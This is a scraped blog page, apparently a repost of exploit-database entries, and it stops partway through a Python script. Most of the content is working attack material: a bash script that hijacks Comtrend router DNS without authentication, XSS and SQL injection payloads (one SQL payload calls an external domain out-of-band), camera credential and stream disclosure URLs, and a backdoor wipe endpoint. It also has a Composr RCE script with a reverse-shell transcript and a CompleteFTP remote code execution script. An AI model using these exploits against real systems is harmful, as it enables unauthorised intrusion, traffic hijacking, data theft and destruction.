Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863588375

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
#!/bin/bash
#
#   COMTREND ADSL Router  CT-5367 C01_R12, CT-5624 C01_R03
#   Unauthenticated Remote DNS Change Exploit
#
#  Copyright 2016 (c) Todor Donev <todor.donev at gmail.com>
#  https://www.ethical-hacker.org/
#  https://www.facebook.com/ethicalhackerorg
#
#  Description:  
#  The vulnerability exist in the web interface, which is 
#  accessible without authentication. 
#
#  Once modified, systems use foreign DNS servers,  which are 
#  usually set up by cybercriminals. Users with vulnerable 
#  systems or devices who try to access certain sites are 
#  instead redirected to possibly malicious sites.
#  
#  Modifying systems' DNS settings allows cybercriminals to 
#  perform malicious activities like:
#
#    o  Steering unknowing users to bad sites: 
#       These sites can be phishing pages that 
#       spoof well-known sites in order to 
#       trick users into handing out sensitive 
#       information.
#
#    o  Replacing ads on legitimate sites: 
#       Visiting certain sites can serve users 
#       with infected systems a different set 
#       of ads from those whose systems are 
#       not infected.
#   
#    o  Controlling and redirecting network traffic: 
#       Users of infected systems may not be granted 
#       access to download important OS and software 
#       updates from vendors like Microsoft and from 
#       their respective security vendors.
#
#    o  Pushing additional malware: 
#       Infected systems are more prone to other 
#       malware infections (e.g., FAKEAV infection).
#
#  Disclaimer:
#  This or previous programs is for Educational 
#  purpose ONLY. Do not use it without permission. 
#  The usual disclaimer applies, especially the 
#  fact that Todor Donev is not liable for any 
#  damages caused by direct or indirect use of the 
#  information or functionality provided by these 
#  programs. The author or any Internet provider 
#  bears NO responsibility for content or misuse 
#  of these programs or any derivatives thereof.
#  By using these programs you accept the fact 
#  that any damage (dataloss, system crash, 
#  system compromise, etc.) caused by the use 
#  of these programs is not Todor Donev's 
#  responsibility.
#   
#  Use them at your own risk!
#
#  

if [[ $# -gt 3 || $# -lt 2 ]]; then
        echo "             COMTREND ADSL Router  CT-5367 C01_R12, CT-5624 C01_R03" 
        echo "           Unauthenticated Remote DNS Change Exploit"
        echo "  ==================================================================="
        echo "  Usage: $0 <Target> <Primary DNS> <Secondary DNS>"
        echo "  Example: $0 133.7.133.7 8.8.8.8"
        echo "  Example: $0 133.7.133.7 8.8.8.8 8.8.4.4"
        echo ""
        echo "      Copyright 2016 (c) Todor Donev <todor.donev at gmail.com>"
        echo "  https://www.ethical-hacker.org/ https://www.fb.com/ethicalhackerorg"
        exit;
fi
GET=`which GET 2>/dev/null`
if [ $? -ne 0 ]; then
        echo "  Error : libwww-perl not found =/"
        exit;
fi
        GET -e "http://$1/dnscfg.cgi?dnsPrimary=$2&dnsSecondary=$3&dnsDynamic=0&dnsRefresh=1" 0&> /dev/null <&1
HireHackking 
# Exploit Title: Computrols CBAS-Web 19.0.0 - 'username' Reflected Cross-Site Scripting
# Google Dork: NA
# Date: 2018-09-06
# Exploit Author: LiquidWorm
# Vendor Homepage: https://www.computrols.com/capabilities-cbas-web/
# Software Link: https://www.computrols.com/building-automation-software/
# Version: 19.0.0
# Tested on: NA
# CVE : CVE-2019-10846
# Advisory: https://applied-risk.com/resources/ar-2019-009
# Paper: https://applied-risk.com/resources/i-own-your-building-management-system

POST /cbas/index.php?m=auth&a=verifyid HTTP/1.1

username="><script>confirm(document.cookie)</script>&submit_button=Send+Me+a+New+Password+Via+Email

=======

POST /cbas/index.php?m=auth&a=login HTTP/1.1

username="><marquee>htmlinjection</marquee>&password=&challenge=60753c1b5e449de80e21472b5911594d&response=e16371917371b8b70529737813840c62

=======

GET /cbas/index.php?m=auth&a=login&username="><marquee>my milkshake brings all the boys to the yard.</marquee>&password=damn_right HTTP/1.1
HireHackking 
# Title: Computer Laboratory Management System v1.0 - Multiple-SQLi
# Author: nu11secur1ty
# Date: 03/28/2024
# Vendor: https://github.com/oretnom23
# Software: https://www.sourcecodester.com/php/17268/computer-laboratory-management-system-using-php-and-mysql.html#comment-104400
# Reference: https://portswigger.net/web-security/sql-injection

# Description:
The id parameter appears to be vulnerable to SQL injection attacks.
The payload '+(select
load_file('\\\\95ctkydmc3d4ykhxxtph7p6xgomiagy71vsij68.tupgus.com\\mpk'))+'
was submitted in the id parameter. This payload injects a SQL
sub-query that calls MySQL's load_file function with a UNC file path
that references a URL on an external domain. The application
interacted with that domain, indicating that the injected SQL query
was executed. The attacker can get all information from the system by
using this vulnerability!

STATUS: HIGH- Vulnerability

[+]Payload:
```mysql
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY
or GROUP BY clause
    Payload: page=user/manage_user&id=7''' RLIKE (SELECT (CASE WHEN
(2375=2375) THEN 0x372727 ELSE 0x28 END)) AND 'fkKl'='fkKl

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or
GROUP BY clause (FLOOR)
    Payload: page=user/manage_user&id=7''' AND (SELECT 1734
FROM(SELECT COUNT(*),CONCAT(0x716a707071,(SELECT
(ELT(1734=1734,1))),0x71717a7871,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'CYrv'='CYrv

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: page=user/manage_user&id=7''' AND (SELECT 6760 FROM
(SELECT(SLEEP(7)))iMBe) AND 'xzwU'='xzwU

    Type: UNION query
    Title: MySQL UNION query (NULL) - 11 columns
    Payload: page=user/manage_user&id=-2854' UNION ALL SELECT
NULL,NULL,NULL,NULL,CONCAT(0x716a707071,0x6675797766656155594373736b724a5a6875526f6f65684562486c48664e4d624f75766b4a444b43,0x71717a7871),NULL,NULL,NULL,NULL,NULL,NULL#
---
HireHackking 
# Exploit Title: CompuSource Systems - Real Time Home Banking - Local
Privilege Escalation/Arbitrary Code Execution
# Date: 2/25/16
# Exploit Author: singularitysec@gmail.com
# Vendor Homepage: https://www.css4cu.com
#                                   : https://www.css4cu.com/Next/InfoSide/SoftwareSolutions.php
# Version: CompuSource Systems - Real Time Home Banking
# Tested on: Windows 7
# CVE : TBD

Note: Windows Server 2003/2008/2012  *may* be vulnerable, depending on
system configuration.

This vulnerability has been reference checked against multiple installs.
This configuration was identical across all systems tested.

Executables/Services:

%SystemRoot%/css50/csdir/RealTimeHomeBankingSvc.exe
HomeBankingService

Attack Detail:
The application installs with LOCAL SYSTEM service credentials in the
directory %SystemRoot%/css50/csdir


The executables that are installed, by default, allow AUTHENTICATED USERS
to modify, replace or alter the file. This would allow an attacker to
inject their code or replace the executable and have it run in the context
of the system.


This would allow complete compromise of a machine on which it was
installed, giving the process LOCAL SYSTEM access to the machine in
question. An attacker can replace the file or append code to the
executable, reboot the system or restart the service and it would then
compromise the machine. As LOCAL SYSTEM is the highest privilege level on a
machine, this allows total control and access to all parts of the system.


Remediation:

Remove the modify/write permissions on the executables to allow only
privileged users to alter the files.
Apply vendor patch when distributed.

Vulnerability Discovered: 2/25/16

Vendor Notified: 2/25/16


Website: www.information-paradox.net
This vulnerability was discovered by singularitysec@gmail.com. Please
credit the author in all references to this exploit.
HireHackking 
# Exploit Title: Compro Technology IP Camera - RTSP stream disclosure (Unauthenticated)
# Date: 2021-09-30
# Exploit Author: icekam,xiao13,Rainbow,tfsec
# Software Link: http://www.comprotech.com.hk/
# Version: Compro IP70 2.08_7130218, IP570 2.08_7130520, IP60, TN540
# CVE : CVE-2021-40379

Some devices have unauthorized access to rstp, which can lead to the
leakage of surveillance video stream information.

Payload:rstp://.../medias2

please refer to:
https://github.com/icekam/0day/blob/main/Compro-Technology-Camera-has-multiple-vulnerabilities.md
HireHackking 
# Exploit Title: Compro Technology IP Camera - 'Multiple' Credential Disclosure
# Date: 2021-09-30
# Exploit Author: icekam,xiao13,Rainbow,tfsec
# Software Link: http://www.comprotech.com.hk/
# Version: Compro IP70 2.08_7130218, IP570 2.08_7130520, IP60, TN540
# CVE : CVE-2021-40380

There are unauthorized access vulnerabilities, which can lead to the
disclosure of device administrator usernames and passwords or rstp
usernames and passwords.

Payload:

/cgi-bin/cameralist/cameralist.cgi
/cgi-bin/cameralist/setcamera.cgi?id=*

please refer to:
https://github.com/icekam/0day/blob/main/Compro-Technology-Camera-has-multiple-vulnerabilities.md
HireHackking 
# Exploit Title: Compro Technology IP Camera - 'killps.cgi' Denial-of-Service (DoS)
# Date: 2021-09-30
# Exploit Author: icekam,xiao13,Rainbow,tfsec
# Software Link: http://www.comprotech.com.hk/
# Version: Compro IP70 2.08_7130218, IP570 2.08_7130520, IP60, TN540
# CVE : CVE-2021-40378

There is a backdoor prefabricated in the device in this path. Accessing the
file through the browser after logging in will cause the device to delete
all data (including the data of the camera itself).

Payload:Visit this page after logging in
/cgi-bin/support/killps.cgi

please refer to:
https://github.com/icekam/0day/blob/main/Compro-Technology-Camera-has-multiple-vulnerabilities.md
HireHackking 
# Exploit Title: Compro Technology IP Camera - ' mjpegStreamer.cgi' Screenshot Disclosure
# Date: 2021-09-30
# Exploit Author: icekam,xiao13,Rainbow,tfsec
# Software Link: http://www.comprotech.com.hk/
# Version: Compro IP70 2.08_7130218, IP570 2.08_7130520, IP60, TN540
# CVE : CVE-2021-40382

There is an unauthorized access vulnerability, which can lead to
unauthorized access to camera video screenshots.

Payload:

/mjpegStreamer.cgi

please refer to:
https://github.com/icekam/0day/blob/main/Compro-Technology-Camera-has-multiple-vulnerabilities.md
HireHackking 
# Exploit Title: Compro Technology IP Camera - ' index_MJpeg.cgi' Stream Disclosure
# Date: 2021-09-30
# Exploit Author: icekam,xiao13,Rainbow,tfsec
# Software Link: http://www.comprotech.com.hk/
# Version: Compro IP70 2.08_7130218, IP570 2.08_7130520, IP60, TN540
# CVE : CVE-2021-40381

Has an unauthorized access vulnerability, which can lead to unauthorized
access to the camera video page.

Payload:

/cgi-bin/view/index_MJpeg.cgi

please refer to:
https://github.com/icekam/0day/blob/main/Compro-Technology-Camera-has-multiple-vulnerabilities.md
HireHackking 
# Exploit Title: Composr-CMS Version <=10.0.39 - Authenticated Remote Code Execution
# Exploit Author: Sarang Tumne @CyberInsane (Twitter: @thecyberinsane)
# Date: 12th January,2022
# CVE ID: CVE-2021-46360
# Confirmed on release 10.0.39 using XAMPP on Ubuntu Linux 20.04.3 LTS
# Reference: https://github.com/sartlabs/0days/blob/main/Composr-CMS/Exploit.py
# Vendor: https://compo.sr/download.htm

###############################################
#Step1- We should have the admin credentials, once we logged in, we can disable the php file uploading protection, you can also do this manually via Menu- Tools=>Commandr

#!/usr/bin/python3
import requests
from bs4 import BeautifulSoup
import time

cookies = {
    'has_cookies': '1',
    'PHPSESSID': 'ddf2e7c8ff1000a7c27b132b003e1f5c',                   #You need to change this as it is dynamic
    'commandr_dir': 'L3Jhdy91cGxvYWRzL2ZpbGVkdW1wLw%3D%3D',
    'last_visit': '1641783779',
    'cms_session__b804794760e0b94ca2d3fac79ee580a9': 'ef14cc258d93a',  #You need to change this as it is dynamic
}

headers = {
    'Connection': 'keep-alive',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36',
    'Content-Type': 'application/x-www-form-urlencoded',
    'Accept': '*/*',
    'Origin': 'http://192.168.56.116',
    'Referer': 'http://192.168.56.116/composr-cms/adminzone/index.php?page=admin-commandr',
    'Accept-Language': 'en-US,en;q=0.9',
}

params = (
    ('keep_session', 'ef14cc258d93a'), #You need to change this as it is dynamic
)

data = {
  '_data': 'command=rm .htaccess',  # This command will delete the .htaccess means disables the protection so that we can upload the .php extension file (Possibly the php shell)
  'csrf_token': 'ef14cc258d93a'  #You need to change this as it is dynamic
}


r = requests.post('http://192.168.56.116/composr-cms/data/commandr.php?keep_session=ef14cc258d93a', headers=headers, params=params, cookies=cookies, data=data, verify=False)
soup = BeautifulSoup(r.text, 'html.parser')
#datap=response.read()
print (soup)
    
#Step2- Now visit the Content=>File/Media Library and then upload any .php web shell (
#Step 3 Now visit http://IP_Address/composr-cms/uploads/filedump/php-reverse-shell.php and get the reverse shell:

┌─[ci@parrot]─[~]
└──╼ $nc -lvvnp 4444
listening on [any] 4444 ...
connect to [192.168.56.103] from (UNKNOWN) [192.168.56.116] 58984
Linux CVE-Hunting-Linux 5.11.0-44-generic #48~20.04.2-Ubuntu SMP Tue Dec 14 15:36:44 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
 13:35:13 up 20:11,  1 user,  load average: 0.00, 0.01, 0.03
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
user     :0       :0               Thu17   ?xdm?  46:51   0.04s /usr/lib/gdm3/gdm-x-session --run-script env GNOME_SHELL_SESSION_MODE=ubuntu /usr/bin/gnome-session --systemd --session=ubuntu
uid=1(daemon) gid=1(daemon) groups=1(daemon)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
daemon
$ id
uid=1(daemon) gid=1(daemon) groups=1(daemon)
$ pwd
/
$
HireHackking 
# Exploit Title: Composr CMS 10.0.36 - Cross Site Scripting
# Date: 04/06/2021
# Exploit Author: Orion Hridoy
# Vendor Homepage: https://compo.sr/
# Software Link: https://compo.sr/download.htm
# Version: 10.0.36
# Tested on: Windows/Linux
# CVE : CVE-2021-30150

Vulnerable Endpoint:
https://site.com/data/ajax_tree.php?hook=choose_gallery&id=&options=a:5:{s:21:"must_accept_something";b:1;s:6:"purity";b:0;s:14:"addable_filter";b:1;s:6:"filter";N;s:9:"member_id";N;}&default=<something:script xmlns:something="http://www.w3.org/1999/xhtml">alert("Hello")</something:script>
HireHackking 
# Exploit Title: Composr CMS 10.0.34 - 'banners' Persistent Cross Site Scripting
# Date: 3-12-2020
# Exploit Author: Parshwa Bhavsar
# Vendor Homepage: https://compo.sr/
# Software Link: https://compo.sr/download.htm
# Version: 10.0.34
# Tested on: Windows 10/ Kali Linux

Steps To Reproduce :-

1. Install the CMS from the download link & configure it.
2. After configuration login with admin Credential .
3. You will notice “Add banner” in the top of the browser.
4. Click on it and Put XSS payload (any) in “Description” field.
5. Save it & Click on Home.
6. Every time any user visit the website , the XSS payload will trigger.
HireHackking 
# Title: Composr CMS 10.0.30 - Persistent Cross-Site Scripting
# Author: Manuel Garcia Cardenas
# Date: 2020-02-06
# Vendor: https://compo.sr/
# CVE: N/A


=============================================
MGC ALERT 2020-001
- Original release date: February 06, 2020
- Last revised:  May 21, 2020
- Discovered by: Manuel Garcia Cardenas
- Severity: 4,8/10 (CVSS Base Score)
- CVE-ID: CVE-2020-8789
=============================================

I. VULNERABILITY
-------------------------
Composr CMS 10.0.30 - (Authenticated) Cross-Site Scripting

II. BACKGROUND
-------------------------
Composr CMS (or Composr) is a web application for creating websites. It is
a combination of a Web content management system and Online community
(Social Networking) software. Composr is licensed as free software and
primarily written in the PHP programming language.

III. DESCRIPTION
-------------------------
Has been detected a Persistent XSS vulnerability in Composr CMS, that
allows the execution of arbitrary HTML/script code to be executed in the
context of the victim user's browser.

IV. PROOF OF CONCEPT
-------------------------
Go to: Security -> Usergroups -> Edit Usergroup

Select one Usergroup (for example Guest) and edit the Name (parameter name)
for example with Guests"><script>alert(1)</script>

The variable "name" it is not sanitized, later, if some user visit the
"Zone editor" area, the XSS is executed, in the response you can view:

<input type="hidden" name="label_for__access_1" value="Access for
Guests"><script>alert(1)</script>" />

V. BUSINESS IMPACT
-------------------------
An attacker can execute arbitrary HTML or Javascript code in a targeted
user's browser, this can leverage to steal sensitive information as user
credentials, personal data, etc.

VI. SYSTEMS AFFECTED
-------------------------
Composr CMS  <= 10.0.30

VII. SOLUTION
-------------------------
Disable until a fix is available.

VIII. REFERENCES
-------------------------
https://compo.sr/

IX. CREDITS
-------------------------
This vulnerability has been discovered and reported
by Manuel Garcia Cardenas (advidsec (at) gmail (dot) com).

X. REVISION HISTORY
-------------------------
February 06, 2020 1: Initial release
May 21, 2020 2: Last revision

XI. DISCLOSURE TIMELINE
-------------------------
February 06, 2020 1: Vulnerability acquired by Manuel Garcia Cardenas
February 06, 2020 2: Send to vendor
April 06, 2020 3: New request, vendor doesn't answer.
May 21, 2020 4: Sent to lists

XII. LEGAL NOTICES
-------------------------
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.

XIII. ABOUT
-------------------------
Manuel Garcia Cardenas
Pentester
HireHackking 
# Exploit Title: Composr 10.0.36 - Remote Code Execution
# Date: 04/06/2021
# Exploit Author: Orion Hridoy
# Vendor Homepage: https://compo.sr/
# Software Link: https://compo.sr/download.htm
# Version: 10.0.36
# Tested on: Windows/Linux
# CVE : CVE-2021-30149

A RCE on Composr CMS has been discovered by BugsBD Private LTD. We have a galleries security issue which allows us to upload a PHP file. Whenever we upload an image from galleries, Composr allows us to upload only images. If we tried to upload a PHP file from galleries uploader it will say someone attempting hacking activities. But we have a security issue on the Upload In Bulk section. Whenever we check allowed extension in Upload in bulk function we can see PHP is completely prohibited. But whenever we tamper the request and change the extension we can see it will upload the PHP file without other or server side verification. This allows a user to upload malicious file even when they restricted it.

Steps To Reproduce:
1. Go to upload galleries.
2. Upload a image and tamper the request and change the extension from .jpg to .php
3. It will say hacking attempts, check the allowed extension and you can see it's not accepting PHP extension.
4. Now go to upload in bulk option.
5. Upload a image with PHP codes and tamper the request.
6. Change extension from .jpg to .php
7. It will get uploaded with the blocked PHP extension.
HireHackking 
# Exploit Title: CompleteFTP Professional < 12.1.3 - Remote Code Execution
# Date: 2020-03-11
# Exploit Author: 1F98D
# Original Author: Rhino Security Labs
# Vendor Homepage: https://enterprisedt.com/products/completeftp/
# Version: CompleteFTP Professional
# Tested on: Windows 10 (x64)
# CVE: CVE‑2019‑16116
# References:
# https://rhinosecuritylabs.com/application-security/completeftp-server-local-privesc-cve-2019-16116/
# https://github.com/RhinoSecurityLabs/CVEs/tree/master/CVE-2019-16116
#
# CompleteFTP before 12.1.3 logs an obscured administrator password to a file
# during installation (C:\Program Files (x86)\Complete FTP\Server\Bootstrapper.log)
# if CompleteFTP is configured to permit remote administration (over port 14983) it
# is possible to obtain remote code execution through the administration interface
#
# This script requires the following python modules are installed
# pip install paramiko pycryptodome uuid
# 
#!/usr/local/bin/python3

from paramiko.sftp import CMD_EXTENDED
from base64 import b64encode, b64decode
from Crypto.Util.Padding import unpad
from Crypto.Cipher import DES3
import xml.etree.ElementTree as ET
import paramiko
import struct
import uuid
import sys

# region get_server_info
get_server_info = """
<SOAP-ENV:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:clr="http://schemas.microsoft.com/soap/encoding/clr/1.0" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<SOAP-ENV:Body>
<i2:GetServerInfo id="ref-1" xmlns:i2="Admin API">
</i2:GetServerInfo>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
""".strip()
# endregion

# region update_config
update_config = """
<SOAP-ENV:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:clr="http://schemas.microsoft.com/soap/encoding/clr/1.0" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<SOAP-ENV:Body>
<i2:UpdateConfig id="ref-1" xmlns:i2="Admin API">
<changes href="#ref-4"/>
</i2:UpdateConfig>
<a1:ConfigDataSet id="ref-4" xmlns:a1="http://schemas.microsoft.com/clr/nsassem/EnterpriseDT.Net.FtpServer.Config/CompleteFTPManager%2C%20Version%3D8.3.3.0%2C%20Culture%3Dneutral%2C%20PublicKeyToken%3D48e55b33069804ce">
<DataSet.RemotingVersion href="#ref-5"/>
<XmlSchema id="ref-6">{XMLSCHEMA}</XmlSchema>
<XmlDiffGram id="ref-7">{XMLDIFFGRAM}</XmlDiffGram>
</a1:ConfigDataSet>
<a2:Version id="ref-5" xmlns:a2="http://schemas.microsoft.com/clr/ns/System">
<_Major>2</_Major>
<_Minor>0</_Minor>
<_Build>-1</_Build>
<_Revision>-1</_Revision>
</a2:Version>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
""".strip()
# endregion

# region xml_schema
xml_schema = """
<?xml version="1.0" encoding="utf-16"?>
<xs:schema id="ConfigDataSet" targetNamespace="http://tempuri.org/ConfigDataSet.xsd" xmlns:mstns="http://tempuri.org/ConfigDataSet.xsd" xmlns="http://tempuri.org/ConfigDataSet.xsd" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" xmlns:msprop="urn:schemas-microsoft-com:xml-msprop" attributeFormDefault="qualified" elementFormDefault="qualified">
  <xs:element name="ConfigDataSet" msdata:IsDataSet="true" msdata:Locale="en-US" msdata:TimestampingEnabled="False">
    <xs:complexType>
      <xs:choice minOccurs="0" maxOccurs="unbounded">
        <xs:element name="PlugIn">
          <xs:complexType>
            <xs:sequence>
              <xs:element name="PlugInID" msdata:DataType="System.Guid, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" type="xs:string" msdata:targetNamespace="http://tempuri.org/ConfigDataSet.xsd" />
              <xs:element name="Name" msdata:targetNamespace="http://tempuri.org/ConfigDataSet.xsd">
                <xs:simpleType>
                  <xs:restriction base="xs:string">
                    <xs:maxLength value="100" />
                  </xs:restriction>
                </xs:simpleType>
              </xs:element>
              <xs:element name="ClassName" msdata:targetNamespace="http://tempuri.org/ConfigDataSet.xsd">
                <xs:simpleType>
                  <xs:restriction base="xs:string">
                    <xs:maxLength value="400" />
                  </xs:restriction>
                </xs:simpleType>
              </xs:element>
              <xs:element name="PlugInTypeID" type="xs:int" msdata:targetNamespace="http://tempuri.org/ConfigDataSet.xsd" />
              <xs:element name="Configuration" type="xs:string" msdata:targetNamespace="http://tempuri.org/ConfigDataSet.xsd" minOccurs="0" />
              <xs:element name="CreatedTime" type="xs:dateTime" msdata:targetNamespace="http://tempuri.org/ConfigDataSet.xsd" />
              <xs:element name="ModifiedTime" type="xs:dateTime" msdata:targetNamespace="http://tempuri.org/ConfigDataSet.xsd" />
              <xs:element name="UserInstance" type="xs:boolean" msdata:targetNamespace="http://tempuri.org/ConfigDataSet.xsd" minOccurs="0" />
              <xs:element name="System" type="xs:boolean" msdata:targetNamespace="http://tempuri.org/ConfigDataSet.xsd" />
              <xs:element name="EditorClassName" msdata:targetNamespace="http://tempuri.org/ConfigDataSet.xsd" minOccurs="0">
                <xs:simpleType>
                  <xs:restriction base="xs:string">
                    <xs:maxLength value="100" />
                  </xs:restriction>
                </xs:simpleType>
              </xs:element>
              <xs:element name="AssemblyPath" msdata:targetNamespace="http://tempuri.org/ConfigDataSet.xsd" minOccurs="0">
              </xs:element>
              <xs:element name="MinimumEdition" type="xs:int" msdata:targetNamespace="http://tempuri.org/ConfigDataSet.xsd" minOccurs="0" />
              <xs:element name="ChangeSetID" msdata:DataType="System.Guid, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" type="xs:string" msdata:targetNamespace="http://tempuri.org/ConfigDataSet.xsd" minOccurs="0" />
            </xs:sequence>
          </xs:complexType>
        </xs:element>
        <xs:element name="Server">
          <xs:complexType>
          </xs:complexType>
        </xs:element>
        <xs:element name="SiteUser">
          <xs:complexType>
          </xs:complexType>
        </xs:element>
        <xs:element name="Site">
          <xs:complexType>
          </xs:complexType>
        </xs:element>
        <xs:element name="Node">
          <xs:complexType>
          </xs:complexType>
        </xs:element>
        <xs:element name="TrashHeap1">
          <xs:complexType>
          </xs:complexType>
        </xs:element>
        <xs:element name="TrashHeap2">
          <xs:complexType>
          </xs:complexType>
        </xs:element>
        <xs:element name="ChangeSet">
          <xs:complexType>
          </xs:complexType>
        </xs:element>
        <xs:element name="RuntimeVariable">
          <xs:complexType>
          </xs:complexType>
        </xs:element>
      </xs:choice>
    </xs:complexType>
    <xs:unique name="PlugIn_Constraint1" msdata:ConstraintName="Constraint1" msdata:PrimaryKey="true">
      <xs:selector xpath=".//mstns:PlugIn" />
      <xs:field xpath="mstns:PlugInID" />
    </xs:unique>
  </xs:element>
</xs:schema>
""".replace("<", "&lt;").replace(">", "&gt;").replace('"', "&#34;").strip()
# endregion

# region xml_diffgram
xml_diffgram = """
<diffgr:diffgram xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" xmlns:diffgr="urn:schemas-microsoft-com:xml-diffgram-v1">
  <ConfigDataSet xmlns="http://tempuri.org/ConfigDataSet.xsd">
    <PlugIn diffgr:id="PlugIn1" msdata:rowOrder="0" diffgr:hasChanges="modified">
      <PlugInID>88428040-73b3-4497-9b6d-69af2f1cc3c7</PlugInID>
      <Name>Process Execution</Name>
      <ClassName>EnterpriseDT.Net.FtpServer.Trigger.ProcessTrigger</ClassName>
      <PlugInTypeID>2</PlugInTypeID>
      <Configuration>{CONFIGURATION}</Configuration>
      <CreatedTime>2020-03-10T18:33:41.107+08:00</CreatedTime>
      <ModifiedTime>2020-03-10T10:52:00.7496654+08:00</ModifiedTime>
      <UserInstance>false</UserInstance>
      <System>true</System>
      <ChangeSetID>{ID}</ChangeSetID>
    </PlugIn>
    <PlugInType diffgr:id="PlugInType1" msdata:rowOrder="0">
      <PlugInTypeID>2</PlugInTypeID>
      <Name>Event</Name>
      <CreatedTime>2009-06-29T11:48:00+08:00</CreatedTime>
      <ModifiedTime>2009-06-29T11:48:00+08:00</ModifiedTime>
    </PlugInType>
    <ChangeSet diffgr:id="ChangeSet1" msdata:rowOrder="0">
      <ChangeSetID></ChangeSetID>
      <Sequence>3</Sequence>
      <CreatedTime>2020-03-10T10:50:44.4209655+08:00</CreatedTime>
      <ModifiedTime>2020-03-10T10:50:44.4209655+08:00</ModifiedTime>
      <IsPrimary>true</IsPrimary>
    </ChangeSet>
  </ConfigDataSet>
  <diffgr:before>
    <PlugIn diffgr:id="PlugIn1" msdata:rowOrder="0" xmlns="http://tempuri.org/ConfigDataSet.xsd">
      <PlugInID>88428040-73b3-4497-9b6d-69af2f1cc3c7</PlugInID>
      <Name>Process Execution</Name>
      <ClassName>EnterpriseDT.Net.FtpServer.Trigger.ProcessTrigger</ClassName>
      <PlugInTypeID>2</PlugInTypeID>
      <Configuration></Configuration>
      <CreatedTime>2020-03-10T18:33:41.107+08:00</CreatedTime>
      <ModifiedTime>2020-03-10T10:50:44.4209655+08:00</ModifiedTime>
      <UserInstance>false</UserInstance>
      <System>true</System>
      <ChangeSetID></ChangeSetID>
    </PlugIn>
  </diffgr:before>
</diffgr:diffgram>
""".strip()
# endregion

# region config
config = """
<TriggerDataSet xmlns="http://tempuri.org/TriggerDataSet.xsd">
    <ProcessConfig>
        <ProcessConfigID>0</ProcessConfigID>
        <MaxProcesses>10</MaxProcesses>
        <RunTimeout>0</RunTimeout>
        <QueueTimeout>0</QueueTimeout>
        <KillOnExit>true</KillOnExit>
    </ProcessConfig>
    <ProcessRule>
        <ProcessRuleID>1</ProcessRuleID>
        <ProcessConfigID>0</ProcessConfigID>
        <Name>trigger</Name>
        <Enabled>true</Enabled>
        <ProcessType>0</ProcessType>
        <ProcessPath>cmd.exe</ProcessPath>
        <Arguments>/c {CMD}</Arguments>
        <PathFilter>*</PathFilter>
        <OnError>false</OnError>
        <OnSuccess>true</OnSuccess>
        <RowOrder>1</RowOrder>
    </ProcessRule>
    <ProcessEvent>
        <ProcessRuleID>1</ProcessRuleID>
        <EventType>LogIn</EventType>
    </ProcessEvent>
</TriggerDataSet>
""".strip()
# endregion

def prepare_update_config(uuid, cmd):
    config_payload = config
    config_payload = config_payload.replace('{CMD}', cmd)
    config_payload = config_payload.replace('<', '&lt;')
    config_payload = config_payload.replace('>', '&gt;')

    diffgram_payload = xml_diffgram
    diffgram_payload = diffgram_payload.replace('{CONFIGURATION}', config_payload)
    diffgram_payload = diffgram_payload.replace('{ID}', uuid)
    diffgram_payload = diffgram_payload.replace('&', '&#38;')
    diffgram_payload = diffgram_payload.replace('<', '&#60;')
    diffgram_payload = diffgram_payload.replace('>', '&#62;')
    diffgram_payload = diffgram_payload.replace('"', '&#34;')

    payload = update_config
    payload = payload.replace('{XMLSCHEMA}', xml_schema)
    payload = payload.replace('{XMLDIFFGRAM}', diffgram_payload)

    return payload

def send_request(sftp, payload):
    payload = b64encode(bytes(payload, 'utf-8')).decode('utf-8')
    res = sftp._request(CMD_EXTENDED, 'admin@enterprisedt.com', 'SOAP64 ' + payload)
    return res

def convert_changeset_id_to_uuid(changeset_id):
    a = struct.pack('i', int(changeset_id[0].text))  # 32
    b = struct.pack('h', int(changeset_id[1].text))  # 16
    c = struct.pack('h', int(changeset_id[2].text))  # 16
    d = struct.pack('B', int(changeset_id[3].text))  # 8
    e = struct.pack('B', int(changeset_id[4].text))  # 8
    f = struct.pack('B', int(changeset_id[5].text))  # 8
    g = struct.pack('B', int(changeset_id[6].text))  # 8
    h = struct.pack('B', int(changeset_id[7].text))  # 8
    i = struct.pack('B', int(changeset_id[8].text))  # 8
    j = struct.pack('B', int(changeset_id[9].text))  # 8
    k = struct.pack('B', int(changeset_id[10].text)) # 8

    x = a + b + c + d + e + f + g + h + i + j + k
    return uuid.UUID(bytes_le=x)

def get_uuid(sftp):
    res = send_request(sftp, get_server_info)
    if res[0] != 201:
